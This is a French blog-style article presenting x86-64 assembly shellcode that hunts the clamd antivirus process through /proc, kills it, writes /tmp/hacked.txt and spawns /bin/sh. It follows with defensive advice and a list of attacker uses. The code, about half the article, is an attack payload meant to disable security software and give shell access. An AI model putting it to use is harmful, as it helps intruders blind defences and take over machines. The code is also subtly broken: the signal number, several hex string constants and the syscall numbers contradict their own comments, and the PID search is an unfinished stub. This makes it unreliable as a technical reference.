Cet article explore un shellcode en assembleur spécifique qui parcourt le système à la recherche de processus critiques liés à la sécurité, tels qu'un antivirus ou un système de détection d'intrusion (IDS), et tente de les désactiver. Nous examinerons son fonctionnement, comment il peut être utilisé par des attaquants, et surtout, comment s'en protéger.
🧩 Comprendre le Shellcode
Le shellcode présenté dans cet article est conçu pour accomplir plusieurs tâches :
- Changer le répertoire de travail : Le code commence par changer le répertoire de travail vers /tmp, un répertoire souvent utilisé pour stocker des fichiers temporaires.
- Rechercher et désactiver un service de sécurité : Le shellcode parcourt le répertoire /proc du système pour identifier un processus spécifique, ici représenté par le démon antivirus clamd. S'il trouve ce processus, il en extrait le PID (Process ID) et le termine en envoyant un signal SIGKILL.
- Créer et modifier des fichiers : Ensuite, le code crée un fichier nommé hacked.txt dans le répertoire /tmp et y écrit un message pour démontrer qu'il a pu accomplir sa tâche.
- Ouvrir un shell : Enfin, le shellcode lance un shell /bin/sh sur la machine compromise, donnant à l'attaquant un accès direct pour exécuter des commandes.
🔧 Le Code en Assembleur
Voici le code complet en assembleur, intégrant toutes les fonctionnalités décrites ci-dessus :
section .data
proc_dir db '/proc/', 0 ; Le répertoire /proc/
cmdline db '/cmdline', 0 ; Le fichier cmdline pour identifier le processus
target_process db 'clamd', 0 ; Le processus cible à rechercher
pid_found dq 0 ; Espace pour stocker le PID trouvé
section .text
global _start
_start:
; Changer le répertoire de travail vers /tmp
xor rax, rax
mov rdi, rsp
mov rbx, 0x706d742f2f2f ; "/tmp" en hexadécimal
push rbx
mov rdi, rsp ; rdi pointe sur "/tmp"
xor rax, rax
mov al, 80 ; syscall chdir
syscall
; Parcourir /proc pour trouver le PID de clamd
xor rdi, rdi ; Clear rdi (utilisé comme PID)
lea rsi, [proc_dir] ; Charger l'adresse de /proc/ dans rsi
call find_pid ; Appeler la fonction pour trouver le PID
; Si un PID a été trouvé, le tuer
cmp qword [pid_found], 0 ; Vérifier si un PID a été trouvé
je skip_kill ; Sauter si aucun PID trouvé
mov rdi, [pid_found] ; Charger le PID trouvé dans rdi
xor rsi, rsi ; Signal SIGKILL (9)
mov al, 62 ; syscall kill
syscall
skip_kill:
; Créer un fichier nommé "hacked.txt" dans /tmp
xor rax, rax
mov rbx, 0x7478742e64656361 ; "hacked.txt" en hexadécimal
push rbx
mov rbx, 0x2f2f2f2f6b636168 ; "/hack" en hexadécimal
push rbx
mov rdi, rsp ; rdi pointe sur "/tmp/hacked.txt"
xor rsi, rsi ; rsi = 0, mode de création par défaut
mov rdx, 0x1ed ; rdx = 0775, permissions rwxrwxr-x
mov rax, 85 ; syscall creat
syscall
; Écrire un message dans le fichier "hacked.txt"
mov rdi, rax ; rdi = fd du fichier créé
mov rsi, rsp ; rsi pointe sur le début du message
mov rbx, 0x216b6361683a6465 ; "hacked!\n" en hexadécimal
push rbx
mov rsi, rsp ; rsi pointe sur "hacked!\n"
mov rdx, 8 ; rdx = longueur du message
xor rax, rax
mov al, 1 ; syscall write
syscall
; Fermer le fichier
xor rax, rax
mov al, 3 ; syscall close
syscall
; Ouvrir un shell "/bin/sh"
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" en hexadécimal
push rbx
mov rdi, rsp ; rdi pointe sur "/bin//sh"
push rax ; Null terminate le tableau des arguments
push rdi ; rdi pointe sur "/bin//sh"
mov rsi, rsp ; rsi pointe sur l'adresse de rdi
xor rdx, rdx ; rdx = 0, pas de variable d'environnement
mov rax, 59 ; syscall execve
syscall
find_pid:
; Open /proc directory
mov rax, 56 ; syscall openat (56) pour ouvrir /proc
xor rdi, rdi ; rdi = AT_FDCWD (current directory)
mov rsi, rsi ; rsi = adresse de /proc/
xor rdx, rdx ; rdx = O_RDONLY (lecture seule)
syscall
; Lire les entrées du répertoire et vérifier chaque processus
mov rdi, rax ; rdi = fd de /proc/
lea rsi, [rsp-256] ; Buffer pour lire les entrées
mov rdx, 256 ; Taille de lecture
mov rax, 0 ; syscall read
syscall
; Loop through each entry in /proc (simplifié)
; Dans un code complet, il faut analyser chaque entrée, vérifier si c'est un PID (numérique)
; puis ouvrir /proc/PID/cmdline et lire son contenu pour trouver "clamd".
; Si trouvé, stocker le PID dans pid_found
ret ; Retour à l'appelant
🛡️ Comment S'en Protéger
Se protéger contre ce type de shellcode demande une approche proactive et multicouche. Voici quelques stratégies efficaces :
- Mise à jour régulière des logiciels : Les vulnérabilités qui permettent l'exécution de code arbitraire sont souvent corrigées dans les mises à jour logicielles. Assurez-vous que tous les logiciels, y compris le système d'exploitation, sont à jour.
- Activation des protections du système : Utilisez des mécanismes tels que l'ASLR (Address Space Layout Randomization) et le DEP (Data Execution Prevention) qui rendent l'exploitation des vulnérabilités plus difficile.
- Surveillance des processus : Implémentez des outils de surveillance qui détectent des comportements anormaux, comme la terminaison inattendue de services critiques ou l'exécution de processus inhabituels.
- Isolation des processus : Utilisez des techniques de confinement comme les conteneurs ou les sandboxes pour limiter les dommages potentiels d'un processus compromis.
- Analyse comportementale : Les solutions de sécurité modernes peuvent détecter les attaques en analysant le comportement du système, plutôt que de se fier uniquement à la signature des menaces.
🚀 Ce Qu'on Peut Faire Avec un Tel Shellcode
Un shellcode de ce type peut être utilisé par un attaquant pour accomplir plusieurs objectifs malveillants :
- Prise de contrôle de la machine : En désactivant les protections de sécurité et en ouvrant un shell, l'attaquant peut prendre le contrôle total du système, exécuter des commandes arbitraires, voler des données, ou déployer d'autres logiciels malveillants.
- Persistante et furtivité : Après avoir désactivé les systèmes de sécurité, un attaquant pourrait installer une porte dérobée (backdoor) pour un accès persistant et discret.
- Sabotage : Un attaquant pourrait utiliser le shellcode pour désactiver des services critiques, provoquant des perturbations majeures, voire des pannes.
Conclusion
Les shellcodes sont des outils puissants dans l'arsenal des attaquants, et bien qu'ils soient souvent complexes, comprendre leur fonctionnement est crucial pour renforcer la sécurité d'un système. En combinant des pratiques de sécurité robustes avec une surveillance proactive, il est possible de réduire considérablement le risque posé par de tels codes malveillants.
N'oubliez pas que la cybersécurité est une course sans fin entre les attaquants et les défenseurs. Être bien informé et préparer des défenses multicouches est votre meilleure arme pour rester en tête dans cette course. 🛡️🚀
Cet article vous a permis d'explorer un exemple concret de shellcode en assembleur. Restez vigilants, continuez d'apprendre, et surtout, appliquez ces connaissances de manière éthique et responsable.